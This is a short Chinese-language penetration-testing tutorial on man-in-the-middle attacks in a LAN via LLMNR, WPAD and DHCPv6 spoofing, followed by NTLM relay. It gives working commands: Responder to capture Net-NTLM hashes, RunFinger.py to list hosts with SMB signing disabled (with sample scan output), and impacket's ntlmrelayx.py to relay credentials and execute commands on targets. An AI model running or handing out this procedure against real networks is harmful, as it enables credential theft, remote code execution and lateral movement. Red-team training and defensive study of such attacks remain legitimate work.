• 原理
      在局域网中发送LLMNR欺骗、WPAD劫持、DHCP(IPv6)欺骗等,实现中间人攻击
      中间人劫持到SMB流量、http basic认证流量等,从中进行修改和利用
      关闭了SMB签名的主机才能进行smb劫持,http劫持不受签名影响,但是获取的net-ntlm。
    • 条件
      同C段下系统权限主机一台
    • 操作

    首先通过Responder进行中间人攻击,-i 参数为本机IP,修改Responder.conf配置文件,将SMB和HTTP模块设置为Off,这个由ntlmrelayx模块来专门做smb的中继。当主机通过IE浏览器访问任意网站时,Responder将劫持为返回一个401的响应,而浏览器收到后自动将本地的认证信息带上后再次请求,从而获取到Net-NTLM,可以用来破解。

    1. responder.exe -i 192.168.19.136 -rdwPv

    image.png

    image.png
    在开启了中间人后,就可以同时开启ntlm中继,原理是在攻击机上使用ntlmrelayex监听445,从而对smb请求进行修改和重发。中继只能对关闭了smb签名的主机进行中继。
    找到关闭了SMB签名的主机,把IP写入targets.txt:

    1. py2 RunFinger.py -i 192.168.19.0/24
    1. ['192.168.19.8', Os:'Windows Server 2008 R2 Enterprise 7601 Service Pack 1', Domain:'TT', Signing:'True', Time:'2020-09-07 14:48:19']
    2. ['192.168.19.129', Os:'Windows 7 Ultimate 7601 Service Pack 1', Domain:'TT', Signing:'False', Time:'2020-09-07 14:48:19']
    3. ['192.168.19.136', Os:'Windows Server 2012 R2 Standard 9600', Domain:'WORKGROUP', Signing:'False', Time:'2020-09-07 14:48:19']

    ntlmrelay中继,windows上只能使用python版,ntlmrelayx.py是impacket包(建议使用python3.6)中自带的。

    1. 注意,使用-c执行命令时,不会同时导出hash
    2. ntlmrelayxhttp模块测试时有问题,不能导出hash。可以使用--no-http-server参数关闭http模块,并将responder配置文件中的HTTP模块打开,还是使用responderHTTP模块获取NTLM hash
    1. ntlmrelayx.py -tf targets.txt -smb2support
    2. ntlmrelayx.py -tf targets.txt -smb2support -c calc

    image.png